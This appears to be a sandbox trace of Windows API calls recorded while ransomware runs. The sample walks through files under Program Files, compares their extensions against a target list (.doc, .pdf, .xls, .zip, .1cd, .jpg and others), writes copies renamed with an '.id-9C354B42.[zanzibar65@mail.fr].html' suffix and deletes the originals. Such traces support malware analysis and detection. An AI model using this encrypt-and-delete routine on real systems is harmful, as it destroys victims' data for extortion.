lstrlenW (lpString=".doc") returned 4 [0046.712] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.712] lstrlenW (lpString=".docx") returned 5 [0046.712] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.712] lstrlenW (lpString=".pdf") returned 4 [0046.712] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.712] lstrlenW (lpString=".xls") returned 4 [0046.712] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.712] lstrlenW (lpString=".xlsx") returned 5 [0046.712] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.712] lstrlenW (lpString=".ppt") returned 4 [0046.712] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.712] lstrlenW (lpString=".zip") returned 4 [0046.712] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.712] lstrlenW (lpString=".rar") returned 4 [0046.712] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.712] lstrlenW (lpString=".bz2") returned 4 [0046.712] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.712] lstrlenW (lpString=".7z") returned 3 [0046.712] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.712] lstrlenW (lpString=".dbf") returned 4 [0046.712] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.713] lstrlenW (lpString=".1cd") returned 4 [0046.713] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.713] lstrlenW (lpString=".jpg") returned 4 [0046.713] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.713] lstrlenW (lpString=".doc") returned 4 [0046.713] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.713] lstrlenW (lpString=".docx") returned 5 [0046.713] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.713] lstrlenW (lpString=".pdf") returned 4 [0046.713] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.713] lstrlenW (lpString=".xls") returned 4 [0046.713] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.713] lstrlenW (lpString=".xlsx") returned 5 [0046.713] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.713] lstrlenW (lpString=".ppt") returned 4 [0046.713] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.713] lstrlenW (lpString=".zip") returned 4 [0046.713] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.713] lstrlenW (lpString=".rar") returned 4 [0046.713] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.713] lstrlenW (lpString=".bz2") returned 4 [0046.713] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.713] lstrlenW (lpString=".7z") returned 3 [0046.713] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.713] lstrlenW (lpString=".dbf") returned 4 [0046.713] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.714] lstrlenW (lpString=".1cd") returned 4 [0046.714] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.714] lstrlenW (lpString=".jpg") returned 4 [0046.714] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.714] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0046.714] lstrlenW (lpString="VBOB6.CHM") returned 9 [0046.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.714] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=123956) returned 1 [0046.714] CloseHandle (hObject=0x20c) returned 1 [0046.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0046.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.714] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.715] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0046.715] GetLastError () returned 0x0 [0046.715] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x1e434, lpOverlapped=0x0) returned 1 [0046.718] WriteFile (in: hFile=0x1f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0046.721] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.721] WriteFile (in: hFile=0x1f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.722] SetEndOfFile (hFile=0x1f4) returned 1 [0046.722] CloseHandle (hObject=0x1f4) returned 1 [0046.722] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.722] SetEndOfFile (hFile=0x20c) returned 1 [0046.723] CloseHandle (hObject=0x20c) returned 1 [0046.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.724] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0046.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.724] lstrlenW (lpString=".doc") returned 4 [0046.724] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0046.724] lstrlenW (lpString=".docx") returned 5 [0046.724] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0046.724] lstrlenW (lpString=".pdf") returned 4 [0046.724] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0046.724] lstrlenW (lpString=".xls") returned 4 [0046.724] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0046.724] lstrlenW (lpString=".xlsx") returned 5 [0046.724] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0046.724] lstrlenW (lpString=".ppt") returned 4 [0046.724] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0046.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.724] lstrlenW (lpString=".zip") returned 4 [0046.724] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0046.724] lstrlenW (lpString=".rar") returned 4 [0046.724] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0046.724] lstrlenW (lpString=".bz2") returned 4 [0046.724] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0046.724] lstrlenW (lpString=".7z") returned 3 [0046.724] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0046.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.725] lstrlenW (lpString=".dbf") returned 4 [0046.725] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0046.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.725] lstrlenW (lpString=".1cd") returned 4 [0046.725] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0046.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.725] lstrlenW (lpString=".jpg") returned 4 [0046.725] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0046.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.725] lstrlenW (lpString=".doc") returned 4 [0046.725] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0046.725] lstrlenW (lpString=".docx") returned 5 [0046.725] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0046.725] lstrlenW (lpString=".pdf") returned 4 [0046.725] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0046.725] lstrlenW (lpString=".xls") returned 4 [0046.725] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0046.725] lstrlenW (lpString=".xlsx") returned 5 [0046.725] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0046.725] lstrlenW (lpString=".ppt") returned 4 [0046.725] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0046.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.725] lstrlenW (lpString=".zip") returned 4 [0046.725] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0046.725] lstrlenW (lpString=".rar") returned 4 [0046.725] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0046.725] lstrlenW (lpString=".bz2") returned 4 [0046.725] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0046.725] lstrlenW (lpString=".7z") returned 3 [0046.725] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0046.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.726] lstrlenW (lpString=".dbf") returned 4 [0046.726] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0046.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.726] lstrlenW (lpString=".1cd") returned 4 [0046.726] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0046.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0046.726] lstrlenW (lpString=".jpg") returned 4 [0046.726] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0046.726] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0046.726] lstrlenW (lpString="VBUI6.CHM") returned 9 [0046.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.727] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=416918) returned 1 [0046.727] CloseHandle (hObject=0x20c) returned 1 [0046.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0046.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.727] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.727] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0046.728] GetLastError () returned 0x0 [0046.728] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x65c96, lpOverlapped=0x0) returned 1 [0046.743] WriteFile (in: hFile=0x1f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0046.875] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.875] WriteFile (in: hFile=0x1f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.910] SetEndOfFile (hFile=0x1f4) returned 1 [0046.910] CloseHandle (hObject=0x1f4) returned 1 [0046.924] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.924] SetEndOfFile (hFile=0x20c) returned 1 [0046.927] CloseHandle (hObject=0x20c) returned 1 [0046.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.928] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0046.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.928] lstrlenW (lpString=".doc") returned 4 [0046.928] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0046.928] lstrlenW (lpString=".docx") returned 5 [0046.928] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0046.928] lstrlenW (lpString=".pdf") returned 4 [0046.928] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0046.928] lstrlenW (lpString=".xls") returned 4 [0046.928] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0046.928] lstrlenW (lpString=".xlsx") returned 5 [0046.928] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0046.928] lstrlenW (lpString=".ppt") returned 4 [0046.928] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0046.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.928] lstrlenW (lpString=".zip") returned 4 [0046.928] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0046.928] lstrlenW (lpString=".rar") returned 4 [0046.929] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0046.929] lstrlenW (lpString=".bz2") returned 4 [0046.929] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0046.929] lstrlenW (lpString=".7z") returned 3 [0046.929] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0046.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.929] lstrlenW (lpString=".dbf") returned 4 [0046.929] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0046.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.929] lstrlenW (lpString=".1cd") returned 4 [0046.929] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0046.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.929] lstrlenW (lpString=".jpg") returned 4 [0046.929] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0046.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.929] lstrlenW (lpString=".doc") returned 4 [0046.929] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0046.929] lstrlenW (lpString=".docx") returned 5 [0046.929] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0046.929] lstrlenW (lpString=".pdf") returned 4 [0046.929] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0046.929] lstrlenW (lpString=".xls") returned 4 [0046.929] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0046.929] lstrlenW (lpString=".xlsx") returned 5 [0046.929] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0046.929] lstrlenW (lpString=".ppt") returned 4 [0046.929] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0046.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.929] lstrlenW (lpString=".zip") returned 4 [0046.929] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0046.929] lstrlenW (lpString=".rar") returned 4 [0046.930] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0046.930] lstrlenW (lpString=".bz2") returned 4 [0046.930] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0046.930] lstrlenW (lpString=".7z") returned 3 [0046.930] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0046.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.930] lstrlenW (lpString=".dbf") returned 4 [0046.930] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0046.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.930] lstrlenW (lpString=".1cd") returned 4 [0046.930] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0046.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0046.930] lstrlenW (lpString=".jpg") returned 4 [0046.930] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0046.930] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1 [0046.930] lstrlenW (lpString="adovbs.inc") returned 10 [0046.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0046.940] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=14951) returned 1 [0046.940] CloseHandle (hObject=0x194) returned 1 [0046.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0046.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.941] lstrlenW (lpString=".doc") returned 4 [0046.941] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.941] lstrlenW (lpString=".docx") returned 5 [0046.941] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.941] lstrlenW (lpString=".pdf") returned 4 [0046.941] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.941] lstrlenW (lpString=".xls") returned 4 [0046.941] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.941] lstrlenW (lpString=".xlsx") returned 5 [0046.941] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.941] lstrlenW (lpString=".ppt") returned 4 [0046.941] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.941] lstrlenW (lpString=".zip") returned 4 [0046.941] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.941] lstrlenW (lpString=".rar") returned 4 [0046.941] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.941] lstrlenW (lpString=".bz2") returned 4 [0046.941] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.941] lstrlenW (lpString=".7z") returned 3 [0046.941] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.941] lstrlenW (lpString=".dbf") returned 4 [0046.941] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.941] lstrlenW (lpString=".1cd") returned 4 [0046.941] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.941] lstrlenW (lpString=".jpg") returned 4 [0046.941] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.942] lstrlenW (lpString=".doc") returned 4 [0046.942] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.942] lstrlenW (lpString=".docx") returned 5 [0046.942] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.942] lstrlenW (lpString=".pdf") returned 4 [0046.942] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.942] lstrlenW (lpString=".xls") returned 4 [0046.942] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.942] lstrlenW (lpString=".xlsx") returned 5 [0046.942] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.942] lstrlenW (lpString=".ppt") returned 4 [0046.942] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.942] lstrlenW (lpString=".zip") returned 4 